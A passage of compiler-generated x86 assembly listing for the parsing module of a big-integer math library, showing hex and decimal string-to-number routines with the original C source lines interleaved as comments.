DD $LN32@BuildBinar
$LN43@BuildBinar:
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 1
DB 1
DB 1
DB 1
DB 1
DB 1
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 2
DB 2
DB 2
DB 2
DB 2
DB 2
_BuildBinaryFromHexString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _Build1WordFromHexString
_TEXT SEGMENT
tv174 = -12 ; size = 4
tv175 = -8 ; size = 4
tv173 = -4 ; size = 4
_in_ptr$ = 8 ; size = 4
_Build1WordFromHexString PROC ; COMDAT
; 914 : {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
; 915 : __UNIT_TYPE x = Parse1DigitFromHexChar(*in_ptr++);
mov edx, DWORD PTR _in_ptr$[ebp]
push ebx
push esi
push edi
movzx eax, WORD PTR [edx]
add edx, 2
push eax
; 916 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT64_T))
; 917 : {
; 918 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 919 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 920 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 921 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 922 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 923 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 924 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 925 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 926 : }
; 927 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT32_T))
; 928 : {
; 929 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 930 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 931 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 932 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
movzx ecx, WORD PTR [edx+6]
movzx esi, WORD PTR [edx]
movzx edi, WORD PTR [edx+2]
movzx ebx, WORD PTR [edx+4]
mov DWORD PTR tv175[ebp], ecx
; 933 : }
; 934 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT16_T))
; 935 : {
; 936 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
movzx ecx, WORD PTR [edx+8]
add edx, 10 ; 0000000aH
mov DWORD PTR tv174[ebp], ecx
mov DWORD PTR _in_ptr$[ebp], edx
call _Parse1DigitFromHexChar
shl eax, 4
push esi
mov DWORD PTR tv173[ebp], eax
call _Parse1DigitFromHexChar
; 937 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 938 : }
; 939 : if (sizeof(__UNIT_TYPE) >= sizeof(_BYTE_T))
; 940 : {
; 941 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
mov esi, DWORD PTR tv173[ebp]
add esi, eax
push edi
shl esi, 4
call _Parse1DigitFromHexChar
add esi, eax
push ebx
shl esi, 4
call _Parse1DigitFromHexChar
push DWORD PTR tv175[ebp]
add esi, eax
shl esi, 4
call _Parse1DigitFromHexChar
push DWORD PTR tv174[ebp]
add esi, eax
shl esi, 4
call _Parse1DigitFromHexChar
mov edi, DWORD PTR _in_ptr$[ebp]
add esi, eax
shl esi, 4
movzx eax, WORD PTR [edi]
push eax
call _Parse1DigitFromHexChar
add esi, eax
movzx eax, WORD PTR [edi+2]
push eax
shl esi, 4
call _Parse1DigitFromHexChar
add esp, 32 ; 00000020H
add eax, esi
; 942 : }
; 943 : return (x);
pop edi
pop esi
pop ebx
; 944 : }
mov esp, ebp
pop ebp
ret 0
_Build1WordFromHexString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _BuildLeading1WordFromHexString
_TEXT SEGMENT
_in_ptr$ = 8 ; size = 4
_count$ = 12 ; size = 4
_BuildLeading1WordFromHexString PROC ; COMDAT
; 900 : {
push ebp
mov ebp, esp
push esi
; 901 : __UNIT_TYPE x = Parse1DigitFromHexChar(*in_ptr);
mov esi, DWORD PTR _in_ptr$[ebp]
push edi
movzx eax, WORD PTR [esi]
push eax
call _Parse1DigitFromHexChar
; 902 : ++in_ptr;
; 903 : --count;
mov edi, DWORD PTR _count$[ebp]
add esp, 4
add esi, 2
mov edx, eax
sub edi, 1
; 904 : while (count > 0)
je SHORT $LN3@BuildLeadi
$LL2@BuildLeadi:
; 905 : {
; 906 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr);
movzx ecx, WORD PTR [esi]
; 867 : switch (c)
lea eax, DWORD PTR [ecx-48]
cmp eax, 54 ; 00000036H
ja SHORT $LN11@BuildLeadi
movzx eax, BYTE PTR $LN17@BuildLeadi[eax]
jmp DWORD PTR $LN20@BuildLeadi[eax*4]
$LN8@BuildLeadi:
; 868 : {
; 869 : case L'0':
; 870 : case L'1':
; 871 : case L'2':
; 872 : case L'3':
; 873 : case L'4':
; 874 : case L'5':
; 875 : case L'6':
; 876 : case L'7':
; 877 : case L'8':
; 878 : case L'9':
; 879 : return (c - L'0');
lea eax, DWORD PTR [ecx-48]
jmp SHORT $LN5@BuildLeadi
$LN9@BuildLeadi:
; 880 : case L'a':
; 881 : case L'b':
; 882 : case L'c':
; 883 : case L'd':
; 884 : case L'e':
; 885 : case L'f':
; 886 : return (c - L'a' + 10);
lea eax, DWORD PTR [ecx-87]
jmp SHORT $LN5@BuildLeadi
$LN10@BuildLeadi:
; 887 : case L'A':
; 888 : case L'B':
; 889 : case L'C':
; 890 : case L'D':
; 891 : case L'E':
; 892 : case L'F':
; 893 : return (c - L'A' + 10);
lea eax, DWORD PTR [ecx-55]
jmp SHORT $LN5@BuildLeadi
$LN11@BuildLeadi:
; 894 : default:
; 895 : return ((_UINT32_T)-1);
or eax, -1
$LN5@BuildLeadi:
; 905 : {
; 906 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr);
shl edx, 4
; 907 : ++in_ptr;
add esi, 2
add edx, eax
; 908 : --count;
sub edi, 1
jne SHORT $LL2@BuildLeadi
; 909 : }
; 910 : return (x);
mov eax, edx
$LN3@BuildLeadi:
pop edi
; 911 : }
pop esi
pop ebp
ret 0
npad 1
$LN20@BuildLeadi:
DD $LN8@BuildLeadi
DD $LN10@BuildLeadi
DD $LN9@BuildLeadi
DD $LN11@BuildLeadi
$LN17@BuildLeadi:
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 1
DB 1
DB 1
DB 1
DB 1
DB 1
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 2
DB 2
DB 2
DB 2
DB 2
DB 2
_BuildLeading1WordFromHexString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _Parse1DigitFromHexChar
_TEXT SEGMENT
_c$ = 8 ; size = 2
_Parse1DigitFromHexChar PROC ; COMDAT
; 866 : {
push ebp
mov ebp, esp
; 867 : switch (c)
movzx edx, WORD PTR _c$[ebp]
lea eax, DWORD PTR [edx-48]
cmp eax, 54 ; 00000036H
ja SHORT $LN7@Parse1Digi
movzx ecx, BYTE PTR $LN9@Parse1Digi[eax]
jmp DWORD PTR $LN11@Parse1Digi[ecx*4]
$LN5@Parse1Digi:
; 868 : {
; 869 : case L'0':
; 870 : case L'1':
; 871 : case L'2':
; 872 : case L'3':
; 873 : case L'4':
; 874 : case L'5':
; 875 : case L'6':
; 876 : case L'7':
; 877 : case L'8':
; 878 : case L'9':
; 879 : return (c - L'0');
; 880 : case L'a':
; 881 : case L'b':
; 882 : case L'c':
; 883 : case L'd':
; 884 : case L'e':
; 885 : case L'f':
; 886 : return (c - L'a' + 10);
lea eax, DWORD PTR [edx-87]
; 896 : }
; 897 : }
pop ebp
ret 0
$LN6@Parse1Digi:
; 887 : case L'A':
; 888 : case L'B':
; 889 : case L'C':
; 890 : case L'D':
; 891 : case L'E':
; 892 : case L'F':
; 893 : return (c - L'A' + 10);
lea eax, DWORD PTR [edx-55]
; 896 : }
; 897 : }
pop ebp
ret 0
$LN7@Parse1Digi:
; 894 : default:
; 895 : return ((_UINT32_T)-1);
or eax, -1
$LN1@Parse1Digi:
; 896 : }
; 897 : }
pop ebp
ret 0
$LN11@Parse1Digi:
DD $LN1@Parse1Digi
DD $LN6@Parse1Digi
DD $LN5@Parse1Digi
DD $LN7@Parse1Digi
$LN9@Parse1Digi:
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 1
DB 1
DB 1
DB 1
DB 1
DB 1
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 2
DB 2
DB 2
DB 2
DB 2
DB 2
_Parse1DigitFromHexChar ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _TryParseDN
_TEXT SEGMENT
_no_light_check_code$ = -60 ; size = 4
_bin_buf_code$ = -56 ; size = 4
_result$4$ = -52 ; size = 4
_int_part_buf$1$ = -52 ; size = 4
_work_buf_code$1 = -52 ; size = 4
_in_ptr$1$ = -48 ; size = 4
_out_buf$1$ = -48 ; size = 4
tv976 = -44 ; size = 4
_work_buf_words$2 = -44 ; size = 4
_work_buf$1$ = -40 ; size = 4
_r$1$ = -40 ; size = 4
tv977 = -40 ; size = 4
_frac_part_buf_code$ = -36 ; size = 4
_int_part_buf_code$ = -32 ; size = 4
_source_count$1$ = -28 ; size = 4
_in_buf_count$1$ = -28 ; size = 4
tv997 = -28 ; size = 4
_result_parsing$1$ = -28 ; size = 4
_bin_buf_words$ = -24 ; size = 4
_bin_buf$1$ = -20 ; size = 4
_sign$ = -20 ; size = 4
_bin_buf_count$1$ = -16 ; size = 4
_result$5$ = -16 ; size = 4
_in_ptr$1$ = -12 ; size = 4
_frac_part_buf_words$ = -8 ; size = 4
_int_part_buf_words$ = -4 ; size = 4
_source$ = 8 ; size = 4
_number_styles$ = 12 ; size = 4
_format_option$ = 16 ; size = 4
_o$ = 20 ; size = 4
_TryParseDN PROC ; COMDAT
; 722 : {
push ebp
mov ebp, esp
sub esp, 60 ; 0000003cH
push ebx
push esi
push edi
; 723 : PMC_STATUS_CODE result;
; 724 : #ifdef _M_IX86
; 725 : int word_digit_count = 9;
; 726 : #elif defined(_M_IX64)
; 727 : int word_digit_count = 19;
; 728 : #else
; 729 : #error unknown platform
; 730 : #endif
; 731 : __UNIT_TYPE source_len = lstrlenW(source);
push DWORD PTR _source$[ebp]
mov edi, DWORD PTR __imp__lstrlenW@4
call edi
; 732 :
; 733 : __UNIT_TYPE int_part_buf_code;
; 734 : __UNIT_TYPE int_part_buf_words;
; 735 : wchar_t* int_part_buf = (wchar_t*)AllocateBlock((source_len + 1) * sizeof(wchar_t) * 8, &int_part_buf_words, &int_part_buf_code);
lea esi, DWORD PTR [eax+1]
lea eax, DWORD PTR _int_part_buf_code$[ebp]
shl esi, 4
push eax
lea eax, DWORD PTR _int_part_buf_words$[ebp]
push eax
push esi
call _AllocateBlock
mov ebx, eax
add esp, 12 ; 0000000cH
mov DWORD PTR _int_part_buf$1$[ebp], ebx
; 736 : if (int_part_buf == NULL)
test ebx, ebx
je SHORT $LN87@TryParseDN
; 737 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
; 738 :
; 739 : __UNIT_TYPE frac_part_buf_code;
; 740 : __UNIT_TYPE frac_part_buf_words;
; 741 : wchar_t* frac_part_buf = (wchar_t*)AllocateBlock((source_len + 1) * sizeof(wchar_t) * 8, &frac_part_buf_words, &frac_part_buf_code);
lea eax, DWORD PTR _frac_part_buf_code$[ebp]
push eax
lea eax, DWORD PTR _frac_part_buf_words$[ebp]
push eax
push esi
call _AllocateBlock
mov esi, eax
add esp, 12 ; 0000000cH
; 742 : if (frac_part_buf == NULL)
test esi, esi
jne SHORT $LN10@TryParseDN
$LN88@TryParseDN:
; 862 : }
push DWORD PTR _int_part_buf_words$[ebp]
push ebx
call _DeallocateBlock
add esp, 8
$LN87@TryParseDN:
pop edi
pop esi
mov eax, -5 ; fffffffbH
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN10@TryParseDN:
; 743 : {
; 744 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 745 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
; 746 : }
; 747 : int sign;
; 748 : int result_parsing = ParseAsDecimalNumberString(source, number_styles, format_option, &sign, int_part_buf, frac_part_buf);
push esi
push ebx
lea eax, DWORD PTR _sign$[ebp]
push eax
push DWORD PTR _format_option$[ebp]
push DWORD PTR _number_styles$[ebp]
push DWORD PTR _source$[ebp]
call _ParseAsDecimalNumberString
; 749 : if ((result = CheckBlockLight((__UNIT_TYPE*)int_part_buf, int_part_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _int_part_buf_code$[ebp]
mov DWORD PTR _result_parsing$1$[ebp], eax
push ebx
call _CheckBlockLight
add esp, 32 ; 00000020H
test eax, eax
jne $LN1@TryParseDN
; 750 : return (result);
; 751 : if ((result = CheckBlockLight((__UNIT_TYPE*)frac_part_buf, frac_part_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _frac_part_buf_code$[ebp]
push esi
call _CheckBlockLight
add esp, 8
test eax, eax
jne $LN1@TryParseDN
; 752 : return (result);
; 753 : if (!result_parsing)
cmp DWORD PTR _result_parsing$1$[ebp], eax
je SHORT $LN89@TryParseDN
; 754 : {
; 755 : DeallocateBlock((__UNIT_TYPE*)frac_part_buf, frac_part_buf_words);
; 756 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 757 : return (PMC_STATUS_PARSING_ERROR);
; 758 : }
; 759 : // 整数部と小数部がともに空ならばエラーとする
; 760 : if (int_part_buf[0] == L'\0' && frac_part_buf[0] == L'\0')
movzx eax, WORD PTR [ebx]
test ax, ax
jne SHORT $LN73@TryParseDN
cmp WORD PTR [esi], ax
jne SHORT $LN60@TryParseDN
$LN89@TryParseDN:
; 862 : }
push DWORD PTR _frac_part_buf_words$[ebp]
push esi
call _DeallocateBlock
push DWORD PTR _int_part_buf_words$[ebp]
push ebx
call _DeallocateBlock
add esp, 16 ; 00000010H
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN73@TryParseDN:
; 761 : {
; 762 : DeallocateBlock((__UNIT_TYPE*)frac_part_buf, frac_part_buf_words);
; 763 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 764 : return (PMC_STATUS_PARSING_ERROR);
; 765 : }
; 766 :
; 767 : if (int_part_buf[0] == L'0')
cmp eax, 48 ; 00000030H
jne SHORT $LN60@TryParseDN
; 768 : {
; 769 : // 整数部の先行する 0 を削除する
; 770 : wchar_t* s_ptr = int_part_buf;
mov eax, ebx
; 771 : wchar_t* d_ptr = int_part_buf;
mov edx, ebx
npad 2
$LL2@TryParseDN:
; 772 : while (*s_ptr == L'0')
movzx ecx, WORD PTR [eax+2]
; 773 : ++s_ptr;
add eax, 2
cmp ecx, 48 ; 00000030H
je SHORT $LL2@TryParseDN
; 774 : for (;;)
; 775 : {
; 776 : *d_ptr = *s_ptr;
mov WORD PTR [ebx], cx
; 777 : if (*s_ptr == L'\0')
cmp WORD PTR [eax], 0
je SHORT $LN60@TryParseDN
$LL4@TryParseDN:
; 774 : for (;;)
; 775 : {
; 776 : *d_ptr = *s_ptr;
mov cx, WORD PTR [eax+2]
; 778 : break;
; 779 : ++s_ptr;
lea eax, DWORD PTR [eax+2]
; 780 : ++d_ptr;
lea edx, DWORD PTR [edx+2]
mov WORD PTR [edx], cx
cmp WORD PTR [eax], 0
jne SHORT $LL4@TryParseDN
$LN60@TryParseDN:
; 781 : }
; 782 : }
; 783 :
; 784 : // 小数部の末尾の 0 を削除する
; 785 : wchar_t* frac_ptr = frac_part_buf + lstrlenW(frac_part_buf);
push esi
call edi
lea eax, DWORD PTR [esi+eax*2]
; 786 : while (frac_ptr > frac_part_buf && frac_ptr[-1] == L'0')
cmp eax, esi
jbe SHORT $LN84@TryParseDN
$LL7@TryParseDN:
cmp WORD PTR [eax-2], 48 ; 00000030H
jne SHORT $LN84@TryParseDN
; 787 : --frac_ptr;
add eax, -2 ; fffffffeH
cmp eax, esi
ja SHORT $LL7@TryParseDN
$LN84@TryParseDN:
; 788 : *frac_ptr = L'\0';
xor ecx, ecx
mov WORD PTR [eax], cx
; 789 :
; 790 : // 小数部が 0 ではない場合、エラーとする
; 791 : if (frac_part_buf[0] != L'\0')
cmp WORD PTR [esi], cx
jne SHORT $LN89@TryParseDN
; 792 : {
; 793 : DeallocateBlock((__UNIT_TYPE*)frac_part_buf, frac_part_buf_words);
; 794 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 795 : return (PMC_STATUS_PARSING_ERROR);
; 796 : }
; 797 :
; 798 : if (sign < 0)
movzx eax, WORD PTR [ebx]
cmp DWORD PTR _sign$[ebp], ecx
jge SHORT $LN74@TryParseDN
; 799 : {
; 800 : if (int_part_buf[0] == L'\0')
test ax, ax
je SHORT $LN82@TryParseDN
; 801 : {
; 802 : // - 符号が与えられていてかつ整数部が 0 であるなら符号を修正する
; 803 : sign = 0;
; 804 : }
; 805 : else
; 806 : {
; 807 : // - 符号が与えられていてかつ整数部が 0 ではないなら、エラーとする
; 808 : DeallocateBlock((__UNIT_TYPE*)frac_part_buf, frac_part_buf_words);
push DWORD PTR _frac_part_buf_words$[ebp]
push esi
call _DeallocateBlock
; 809 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
push DWORD PTR _int_part_buf_words$[ebp]
push ebx
call _DeallocateBlock
add esp, 16 ; 00000010H
; 810 : return (PMC_STATUS_OVERFLOW);
mov eax, -2 ; fffffffeH
pop edi
; 862 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN74@TryParseDN:
; 811 : }
; 812 : }
; 813 :
; 814 : // 整数部が空である場合、1桁の 0 を設定する
; 815 : if (int_part_buf[0] == L'\0')
test ax, ax
jne SHORT $LN21@TryParseDN
$LN82@TryParseDN:
; 816 : {
; 817 : int_part_buf[0] = L'0';
mov DWORD PTR [ebx], 48 ; 00000030H
$LN21@TryParseDN:
; 818 : int_part_buf[1] = L'\0';
; 819 : }
; 820 :
; 821 : // 小数部は捨てる
; 822 : DeallocateBlock((__UNIT_TYPE*)frac_part_buf, frac_part_buf_words);
push DWORD PTR _frac_part_buf_words$[ebp]
push esi
call _DeallocateBlock
add esp, 8
; 826 : __UNIT_TYPE* bin_buf = AllocateBlock(_DIVIDE_CEILING_SIZE(lstrlenW(int_part_buf), word_digit_count) * __UNIT_TYPE_BIT_COUNT, &bin_buf_words, &bin_buf_code);
push ebx
call edi
lea ecx, DWORD PTR _bin_buf_code$[ebp]
push ecx
lea ecx, DWORD PTR _bin_buf_words$[ebp]
push ecx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 199 : return ((u + v - 1) / v);
lea ecx, DWORD PTR [eax+8]
mov eax, 954437177 ; 38e38e39H
mul ecx
shr edx, 1
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 826 : __UNIT_TYPE* bin_buf = AllocateBlock(_DIVIDE_CEILING_SIZE(lstrlenW(int_part_buf), word_digit_count) * __UNIT_TYPE_BIT_COUNT, &bin_buf_words, &bin_buf_code);
shl edx, 5
push edx
call _AllocateBlock
mov edi, eax
add esp, 12 ; 0000000cH
mov DWORD PTR _bin_buf$1$[ebp], edi
; 827 : if (bin_buf == NULL)
test edi, edi
je $LN88@TryParseDN
; 359 : __UNIT_TYPE* out_ptr = out_buf;
mov esi, edi
mov DWORD PTR _in_ptr$1$[ebp], ebx
; 360 : __UNIT_TYPE source_count = lstrlenW(source);
push ebx
mov DWORD PTR _bin_buf_count$1$[ebp], esi
call DWORD PTR __imp__lstrlenW@4
; 361 : int r = source_count % word_digit_count;
xor edx, edx
mov DWORD PTR _source_count$1$[ebp], eax
mov ecx, 9
div ecx
mov ecx, edx
mov DWORD PTR _r$1$[ebp], ecx
; 362 : if (r > 0)
test ecx, ecx
jle SHORT $LN85@TryParseDN
; 303 : __UNIT_TYPE x = 0;
xor eax, eax
; 364 : *out_ptr++ = BuildLeading1WordFromDecimalString(in_ptr, r);
mov esi, ebx
; 304 : while (count > 0)
test ecx, ecx
je SHORT $LN38@TryParseDN
npad 5
$LL37@TryParseDN:
; 305 : {
; 306 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [esi]
lea esi, DWORD PTR [esi+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -48 ; ffffffd0H
; 307 : --count;
sub edx, 1
jne SHORT $LL37@TryParseDN
mov ecx, DWORD PTR _r$1$[ebp]
$LN38@TryParseDN:
; 364 : *out_ptr++ = BuildLeading1WordFromDecimalString(in_ptr, r);
mov DWORD PTR [edi], eax
lea esi, DWORD PTR [edi+4]
; 365 : in_ptr += r;
lea eax, DWORD PTR [ebx+ecx*2]
mov DWORD PTR _bin_buf_count$1$[ebp], esi
mov DWORD PTR _in_ptr$1$[ebp], eax
; 366 : source_count -= r;
mov eax, DWORD PTR _source_count$1$[ebp]
sub eax, ecx
jmp SHORT $LN83@TryParseDN
$LN85@TryParseDN:
; 362 : if (r > 0)
mov eax, DWORD PTR _source_count$1$[ebp]
$LN83@TryParseDN:
; 367 : }
; 368 : while (source_count > 0)
test eax, eax
je $LN33@TryParseDN
lea ecx, DWORD PTR [eax-1]
mov eax, 954437177 ; 38e38e39H
mul ecx
mov eax, edx
shr eax, 1
inc eax
mov DWORD PTR tv997[ebp], eax
mov eax, DWORD PTR _in_ptr$1$[ebp]
npad 4
$LL32@TryParseDN:
; 330 : x = x * 10 + (*in_ptr++ - L'0');
movzx esi, WORD PTR [eax+2]
lea ecx, DWORD PTR [eax+2]
; 331 : x = x * 10 + (*in_ptr++ - L'0');
; 332 : x = x * 10 + (*in_ptr++ - L'0');
; 333 : x = x * 10 + (*in_ptr++ - L'0');
; 334 : x = x * 10 + (*in_ptr++ - L'0');
movzx eax, WORD PTR [ecx+8]
movzx edx, WORD PTR [ecx+2]
movzx edi, WORD PTR [ecx+4]
movzx ebx, WORD PTR [ecx+6]
mov DWORD PTR tv977[ebp], eax
; 335 : }
; 336 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT16_T))
; 337 : {
; 338 : x = x * 10 + (*in_ptr++ - L'0');
movzx eax, WORD PTR [ecx+10]
add ecx, 12 ; 0000000cH
mov DWORD PTR tv976[ebp], eax
mov eax, DWORD PTR _in_ptr$1$[ebp]
mov DWORD PTR _in_ptr$1$[ebp], ecx
movzx eax, WORD PTR [eax]
; 339 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
; 340 : }
; 341 : if (sizeof(__UNIT_TYPE) >= sizeof(_BYTE_T))
; 342 : {
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea eax, DWORD PTR [esi+ecx*2]
; 370 : *out_ptr++ = Build1WordFromDecimalString(in_ptr);
mov esi, DWORD PTR _bin_buf_count$1$[ebp]
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [edx+ecx*2]
mov edx, DWORD PTR _in_ptr$1$[ebp]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [edi+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [ebx+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv977[ebp]
movzx eax, ax
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv976[ebp]
movzx eax, ax
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx]
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -1038366032 ; c21bcab0H
; 370 : *out_ptr++ = Build1WordFromDecimalString(in_ptr);
mov DWORD PTR [esi], eax
add esi, 4
; 371 : in_ptr += word_digit_count;
mov eax, DWORD PTR _in_ptr$1$[ebp]
add eax, 18 ; 00000012H
mov DWORD PTR _bin_buf_count$1$[ebp], esi
sub DWORD PTR tv997[ebp], 1
mov DWORD PTR _in_ptr$1$[ebp], eax
jne $LL32@TryParseDN
mov ebx, DWORD PTR _int_part_buf$1$[ebp]
mov edi, DWORD PTR _bin_buf$1$[ebp]
$LN33@TryParseDN:
; 828 : {
; 829 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 830 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
; 831 : }
; 832 : __UNIT_TYPE bin_buf_count;
; 833 : BuildBinaryFromDecimalString(int_part_buf, bin_buf, &bin_buf_count);
; 834 : if ((result = CheckBlockLight(bin_buf, bin_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _bin_buf_code$[ebp]
; 374 : *out_buf_count = out_ptr - out_buf;
sub esi, edi
sar esi, 2
; 828 : {
; 829 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 830 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
; 831 : }
; 832 : __UNIT_TYPE bin_buf_count;
; 833 : BuildBinaryFromDecimalString(int_part_buf, bin_buf, &bin_buf_count);
; 834 : if ((result = CheckBlockLight(bin_buf, bin_buf_code)) != PMC_STATUS_OK)
push edi
; 374 : *out_buf_count = out_ptr - out_buf;
mov DWORD PTR _bin_buf_count$1$[ebp], esi
; 828 : {
; 829 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 830 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
; 831 : }
; 832 : __UNIT_TYPE bin_buf_count;
; 833 : BuildBinaryFromDecimalString(int_part_buf, bin_buf, &bin_buf_count);
; 834 : if ((result = CheckBlockLight(bin_buf, bin_buf_code)) != PMC_STATUS_OK)
call _CheckBlockLight
add esp, 8
test eax, eax
jne $LN1@TryParseDN
; 835 : return (result);
; 836 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
push DWORD PTR _int_part_buf_words$[ebp]
push ebx
call _DeallocateBlock
; 837 :
; 838 : __UNIT_TYPE o_bit_count = bin_buf_count * __UNIT_TYPE_BIT_COUNT;
; 839 : __UNIT_TYPE no_light_check_code;
; 840 : if ((result = AllocateNumber(o, o_bit_count, &no_light_check_code)) != PMC_STATUS_OK)
mov ebx, DWORD PTR _o$[ebp]
lea eax, DWORD PTR _no_light_check_code$[ebp]
push eax
shl esi, 5
push esi
push ebx
call _AllocateNumber
add esp, 20 ; 00000014H
mov DWORD PTR _result$4$[ebp], eax
test eax, eax
je SHORT $LN24@TryParseDN
; 841 : {
; 842 : DeallocateBlock(bin_buf, bin_buf_words);
push DWORD PTR _bin_buf_words$[ebp]
push edi
call _DeallocateBlock
; 843 : return (result);
mov eax, DWORD PTR _result$4$[ebp]
add esp, 8
pop edi
; 862 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN24@TryParseDN:
; 844 : }
; 845 :
; 846 : if ((result = ConvertCardinalNumber(bin_buf, bin_buf_count, (*o)->BLOCK)) != PMC_STATUS_OK)
mov eax, DWORD PTR [ebx]
mov eax, DWORD PTR [eax+32]
mov DWORD PTR _out_buf$1$[ebp], eax
; 698 : __UNIT_TYPE* work_buf = AllocateBlock(__UNIT_TYPE_BIT_COUNT * (in_buf_count + 1), &work_buf_words, &work_buf_code);
lea eax, DWORD PTR _work_buf_code$1[ebp]
push eax
